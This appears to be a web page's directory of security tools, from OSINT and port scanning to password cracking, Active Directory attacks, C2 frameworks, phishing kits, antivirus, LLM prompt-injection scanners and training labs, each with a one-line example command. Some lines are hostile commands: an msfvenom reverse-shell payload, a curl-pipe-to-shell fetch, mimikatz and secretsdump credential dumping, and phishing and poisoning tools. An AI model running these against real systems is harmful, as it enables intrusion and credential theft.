16-Phase Tool Directory
Shodan
Search engine for internet-connected devices. Search for routers, servers, IoT devices, and public endpoints.
shodan search 'port:22 Country:US OS:Linux'Censys
Search engine for global network scans. Enables researchers to find hosts and certificates exposed on the public internet.
censys search 'services.port: 80 AND location.country: "United States"'crt.sh
Certificate Transparency log search tool. Discover subdomains and history of HTTPS certificates for any target domain.
curl -s 'https://crt.sh/?q=example.com&output=json' | jq .Whois
Lookup utility for domain ownership, registrar information, registration dates, and primary DNS servers.
whois target.comDNSDumpster
DNS recon and research utility to find subdomains, host records, mail servers, and generate visual network maps.
python dnsdumpster.py target.comThe Harvester
Gather emails, subdomains, hosts, employee names, open ports, and banners from different public sources.
theHarvester -d target.com -l 500 -b googleAmass
In-depth subdomain enumeration, DNS mapping, and infrastructure profiling using active and passive OSINT.
amass enum -passive -d target.comHave I Been Pwned
Search engine to check if your email address or phone number has been compromised in a public data breach archive.
curl -s https://haveibeenpwned.com/api/v3/breachedaccount/[email protected]Maltego
Interactive data mining tool that layout link analysis for cyber threat intelligence.
maltego --helpRecon-ng
Full-featured Web Reconnaissance framework written in Python with modular API integrations.
recon-ngSpiderFoot
Open source intelligence (OSINT) automation tool for scanning over 100 public data sources.
spiderfoot -m sfp_whois,sfp_shodan -t target.comNmap
Network discovery and security auditing tool. Highly customizable port scanning, OS detection, and NSE scripting.
nmap -sS -sV -O -p- target.comMasscan
Fastest Internet port scanner. Transmits packets at speeds up to 10 million packets per second.
masscan -p1-65535 10.0.0.0/8 --rate 100000RustScan
Modern, lightning-fast port scanner written in Rust, designed to feed results directly into Nmap automatically.
rustscan -a target.com -- -sV -sCDirsearch
Advanced web path scanner using command-line brute force, supporting multi-threading and proxy configurations.
dirsearch -u https://target.com/ -e php,html,jsGobuster
Directory/file, DNS, and VHost brute-forcing tool written in Go for rapid structure discovery.
gobuster dir -u https://target.com -w common-words.txtFFuf
Fast web fuzzer written in Go. Ideal for directory discovery, parameter fuzzing, and headers injection testing.
ffuf -w wordlist.txt -u https://target.com/FUZZNikto
Web server scanner that performs comprehensive tests against dangerous items and CGI files.
nikto -h https://target.comNimbuster
Fast directory brute force scanner focused on API routes and hidden endpoints.
nimbuster -u https://target.com -w wordlist.txtZmap
Fast single-packet network scanner designed for Internet-wide network surveys.
zmap -p 80 10.0.0.0/8 -o results.csvNessus
Enterprise-grade vulnerability scanner. Identifies misconfigurations, unpatched systems, and remote vulnerabilities.
Start Scan via Nessus Web UI (Port 8834)OpenVAS
Open-source vulnerability scanner and manager. Offers a rich feed of vulnerability tests updated daily.
gvm-start && xdg-open https://localhost:9392Nuclei
Fast, template-based vulnerability scanner that targets specific vulnerabilities with user-created YAML files.
nuclei -u https://target.com -t cves/Searchsploit
Command-line search utility for Exploit Database, allowing offline searches for known server vulnerabilities.
searchsploit 'Apache 2.4.41'Wapiti
Black-box web application vulnerability scanner audits cookies and script files.
wapiti -u https://target.com/WPScan
WordPress vulnerability scanner to find themes, plugins, and core version vulnerabilities.
wpscan --url https://target.comGVM (Greenbone)
Enterprise framework containing security vulnerability tests for networks.
gvm-cli socket --xml "<get_version/>"Cybertection Web Scanner
Premium dynamic web application security scanning tool by Cybertection. Uncovers SQL Injection, XSS, and authorization leaks.
Access at cybertection.net -> Launch Security Assessment ConsoleBurp Suite
Standard web proxy for security professionals. Features intercepting proxy, repeater, intruder, and vulnerability scanner.
java -jar burpsuite_community.jarOWASP ZAP
Free, open-source web application scanner. Perfect for developers and automated CI/CD pipeline integration.
zaproxy -cmd -quickurl https://target.comSQLmap
Automated SQL injection tool. Detects and exploits SQL injection flaws, taking control of remote database servers.
sqlmap -u 'https://target.com/page.php?id=1' --dbs --batchCommix
Automated command injection exploitation framework. Detects and exploits OS command injection bugs in web forms.
commix --url='http://target.com/cmd.php?addr=INJECT_HERE'XSStrike
Advanced Cross-Site Scripting (XSS) scanner with payload generator, intelligent fuzzer, and DOM parser.
python xsstrike.py -u 'https://target.com/search?q=query'Arachni
High-performance modular Web Application Security Scanner framework.
arachni https://target.comW3af
Web Application Attack and Audit Framework to identify and exploit SQLi/XSS.
./w3af_consoleDirBuster
Multi-threaded Java application designed to brute force directories and file names.
java -jar DirBuster-1.0-RC1.jarParamSpider
Mining parameters from web archives for a target domain to identify injection entry points.
python3 paramspider.py --domain target.comHashcat
World's fastest GPU-accelerated password cracking utility. Supports MD5, SHA, bcrypt, NTLM, and hundreds of others.
hashcat -m 0 -a 0 hashes.txt wordlist.txtJohn the Ripper
Fast password cracker designed for Unix, Windows, and macOS. Auto-detects encryption hash types.
john --wordlist=passwords.txt hashes.txtCrackStation
Instant lookups against multi-billion pre-computed lookup tables for cryptographic hashes.
Paste hash directly into CrackStation Web GUI for instant lookupHydra
Parallelized network login cracker. Supports SSH, FTP, RDP, HTTP-POST, SMB, databases, and more.
hydra -l admin -P wordlist.txt target.com sshCeWL
Custom Wordlist Generator. Scrapes websites to compile custom dictionary files based on target terminology.
cewl -d 2 -m 5 -w wordlist.txt https://target.comMedusa
Speedy, parallel, modular, login brute-forcer for network services.
medusa -h 10.10.10.5 -u admin -P passwords.txt -M sshCrunch
Wordlist generator where you can specify a standard character set or a wildcard configuration.
crunch 6 8 abcdef -o wordlist.txtNcrack
High-speed network authentication cracking tool for auditing network endpoints.
ncrack -p ssh:22 --user admin -P pass.txt 10.10.10.5Aircrack-ng
Wi-Fi security assessment suite. Includes monitoring, packet capture, deauthentication, and WPA cracking.
aircrack-ng -w wordlist.txt capture-01.capAirgeddon
Multi-use wireless audit script. Automates captive portal generation, handshakes, and deauth loops.
sudo ./airgeddon.shWifite
Automated mass Wi-Fi auditor. Target all nearby WPA/WPA2 networks, capture handshakes, and attack WPS PINs.
sudo wifite --dict wordlist.txtBettercap
Complete, modular, and extensible framework for network monitoring, BLE spoofing, Wi-Fi sniffing, and MITM attacks.
sudo bettercap -eval "net.probe on; net.show"Flipper Zero
Portable multi-tool for sub-GHz radio signals, NFC, RFID, infrared, Bluetooth, and bad-USB payloads.
Deploy Sub-GHz replay attack or badUSB payload via hardware interfaceKismet
Wireless network detector, sniffer, and intrusion detection system for 802.11 Wi-Fi, Lora, and Bluetooth.
kismet -c wlan0monReaver
Exploits WPS (Wi-Fi Protected Setup) registrar PIN bugs to recover WPA/WPA2 passphrases.
reaver -i wlan0mon -b 00:11:22:33:44:55 -vvPixiewst
Offline WPS PIN brute-forcing tool utilizing entropy vulnerabilities of wireless routers.
pixiewst -i wlan0mon -b 00:11:22:33:44:55Responder
LLMNR, NBT-NS, and MDNS responder. Poisons network queries to capture domain hashes and authenticate requests.
sudo responder -I eth0 -w -d -FImpacket
Collection of Python classes for working with network protocols. Includes secretsdump, psexec, wmiexec, and kerberoast.
impacket-secretsdump domain.local/admin:[email protected]BloodHound
Active Directory relations visualizer. Maps pathways, access rights, and relationships to locate domain admin vectors.
sharpound.exe --CollectionMethod All --domain domain.localCrackMapExec
Swiss army knife for pentesting Active Directory. Automates mass credential testing and payload delivery over SMB/WinRM.
cme smb 10.10.10.0/24 -u user -p pass --local-authEvil-WinRM
Ultimate Windows Remote Management (WinRM) shell for hacking. Features memory script loads, bypasses, and file transfers.
evil-winrm -i 10.10.10.5 -u Administrator -p 'Password123'Yersinia
Network tool designed to exploit weak security implementations in Layer 2 protocols like DHCP and STP.
yersinia dhcp -attack 1Scapy
Interactive packet manipulation program written in Python, capable of crafting and sending raw packets.
scapyWireshark
World's foremost network protocol analyzer, letting you see network traffic at a microscopic level.
tshark -i eth0 -f 'tcp port 80'Metasploit
World's most used penetration testing framework. Contains thousands of modules, exploit tools, and target scanners.
msfconsole -qBeEF
Browser Exploitation Framework. Controls target web browsers to demonstrate client-side scripting attack vectors.
sudo ./beefSocial-Engineer Toolkit (SET)
Framework tailored for social engineering vectors. Clone target pages, host QR codes, and create weaponized PDF payloads.
sudo setoolkitMSFvenom
Metasploit standalone payload generator. Encodes, bypasses detection, and outputs payloads for multiple architectures.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.2 LPORT=4444 -f exe > shell.exeBeef-XSS
Browser Exploitation Framework focused on attacking client-side vectors via hooked web tabs.
sudo beef-xssRoutersploit
Exploitation framework dedicated to scanning and hacking embedded and IoT routers.
python3 rsf.pyAutoBlue
Python scripts that automate the detection and exploitation of EternalBlue (MS17-010).
python eternalblue_exploit7.py 10.10.10.4Sliver C2
General purpose cross-platform implant and C2 framework. Features secure mTLS, WireGuard, and DNS tunnels.
sliver-serverCobalt Strike
Commercial adversary simulation and red teaming platform. Generates advanced payloads and stable beaconing.
sudo ./teamserver 10.10.10.2 SuperSecretPassLinPEAS
Privilege escalation script for Linux. Highlights vulnerabilities, misconfigurations, and environment variables in green/red.
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | shWinPEAS
Privilege escalation binary for Windows. Automates target configuration enumeration and prints quick privilege paths.
winPEASany.exe quiet cmdLigolo-ng
Next-gen network tunneling and pivoting tool. Establishes clean, high-performance interfaces on the attacker machine.
./agent -connect 10.10.10.2:11601 -ignore-certEmpire C2
PowerShell and Python post-exploitation framework with secure agents and listener configurations.
sudo powershell-empireMimikatz
Credentials extraction tool that leaks Windows plaintext passwords, hashes, and Kerberos tickets from memory.
mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords'Chisel
Fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Perfect for network pivoting.
chisel client 10.10.10.2:8080 R:80:127.0.0.1:80GoPhish
Enterprise phishing framework. Build email templates, manage user rosters, launch tests, and track link clicks.
sudo ./gophishEvilginx2
Man-in-the-middle phishing framework used for proxying login credentials and capturing multi-factor (MFA) session cookies.
sudo evilginx -p phishlets/Wifiphisher
Red team tool that mounts automated Wi-Fi social engineering attacks against WPA networks to harvest credentials.
sudo wifiphisher -aC evil-ap.htmlSherlock
Locate usernames and target social media profiles across hundreds of websites.
python3 sherlock.py victimusernameSocialFish
Ultimate phishing tool with templates for popular portals and custom target forms.
python3 SocialFish.pyPhishery
An SSL-enabled HTTP credential harvester with basic auth injection for Word documents.
phishery -u https://phish.target.comTempMail
Instant disposable secure email provider. Ideal for registering on untrusted platforms during target research.
Open temp-mail.org for immediate API mail generationGuerrillaMail
Temporary email system. Send and receive emails with custom addresses. Bypasses spam checks.
Access at guerrillamail.com10MinuteMail
Highly private disposable email address that self-destructs after exactly 10 minutes.
Access at 10minutemail.comMaildrop
Disposable temporary inbox that discards spam automatically and keeps operations private.
Access at maildrop.ccYOPmail
Quick, temporary, disposable email inbox to protect accounts against spam feeds.
Access at yopmail.comBurner Mail
Generate temporary custom email addresses to route and hide your main inbox.
Access at burnermail.ioGuardBot VPN & Antivirus
Cybertection LLC's premier endpoint protection agent. Integrates real-time VPN routing and AI malware prevention.
Launch Cybertection GuardBot AV -> Run Full System AuditVirusTotal
Aggregate file and URL scanner. Checks uploads against 70+ antivirus engines and domain blocklists.
vt-cli scan file.exeAntiscan.me
Private file scanner that checks target files against major AVs without sharing or submitting logs to vendors.
Upload artifact through Antiscan Web PortalClamAV
Open source antivirus engine for detecting trojans, viruses, and malware on systems.
clamscan -r /home/user/downloadsYARA
Tool aimed at helping malware researchers identify and classify malware samples using rules.
yara rules.yar suspected_file.exeLoki IOC Scanner
Simple IOC Scanner for hunting malware indicators, hash matches, and system anomalies.
python loki.py -p /home/user/downloadsCybertection AI Agents
Cybertection's signature security artificial intelligence. Audits networks, designs payloads, and manages endpoint security.
Access terminal console at cybertection.xyzGarak
Large Language Model vulnerability scanner. Analyzes models for prompt injection, hallucinations, and data leaks.
python3 -m garak --model_type openai --model_name gpt-4Promptfoo
Test application outputs, prompt safety, and model security constraints via rigorous CI assertion models.
promptfoo eval -p prompts.txt -r providers.txtLLM Guard
Security scanner and sanitizer tool designed to prevent prompt injections and data leakage in LLMs.
pip install llm-guardVigil
Open source prompt injection and LLM vulnerability guardrail scanning framework.
vigil --prompt 'override instructions'NeMo Guardrails
NVIDIA framework for adding safety constraints and security policies to LLM conversational interfaces.
nemoguardrails chatVirtualBox
Free and open-source x86/AMD64 hypervisor. Crucial for running target networks and isolated attack suites.
VBoxManage startvm 'Kali-Linux-Lab'Docker
Lightweight application containment engine, perfect for spinning up target web servers or vulnerable databases.
docker run -d -p 80:80 vulnerable-web-appHackTheBox
Interactive online platform to test and practice penetration testing and vulnerability exploitation skills.
openvpn academy.ovpnVMware Workstation
Hypervisor for building complex target active directories and isolated scanning lab machines.
vmrun start 'ActiveDirectory.vmx'Vagrant
Tool for building and managing virtual machine environments automatically via configuration files.
vagrant upProxmox VE
Complete open-source platform for enterprise virtualization with LXC containers and KVM.
qm start 100Cybertection Training Center
The core revenue driver of Cybertection. Comprehensive training on GuardBot products, system hacking, and cloud defense.
Syllabus available at /pdf/Cybertection_GuardBot_Course.pdfPortSwigger Academy
Free online security training for web applications. Tracks modern exploit techniques on real server structures.
Access Web Academy at portswigger.netOffSec OSCP Program
Offensive Security Certified Professional program. The industry standard for network and exploit testing.
Access courseware at offsec.comTryHackMe
Hands-on cybersecurity training platform using gamified virtual labs and learning paths.
openvpn tryhackme.ovpnSANS Institute
Premium cybersecurity training, certifications, and security research resource portal.
Access coursework at sans.orgCybrary
Online library of cybersecurity training videos, certification preps, and lab walkthroughs.
Access modules at cybrary.itProxybot.win
API route finder and secure proxy gateway. Helps bypass IP rate limits and route scanning payloads anonymously.
curl -x 'http://proxybot.win:8080' https://target.com/apiVercel
Frontend developer platform. Instantly hosts lightweight static projects and serverless endpoints.
vercel deploy --prodCloudflare
Global CDN, secure reverse proxy, and enterprise DDoS shield. Protects target networks and filters scanning bots.
Configure rules via Cloudflare DashboardAWS Security Hub
Unified cloud security posture management service that aggregates alerts from Amazon Web Services.
aws securityhub get-findingsLocalStack
Fully functional local AWS cloud stack for testing cloud security parameters offline.
localstack startDefectDojo
Application vulnerability management tool that correlates, reports, and aggregates scans.
defectdojo scan importKubernetes Kube-Hunter
Hunts for security vulnerabilities in Kubernetes clusters to identify misconfigurations.
kube-hunter --remote 10.10.10.10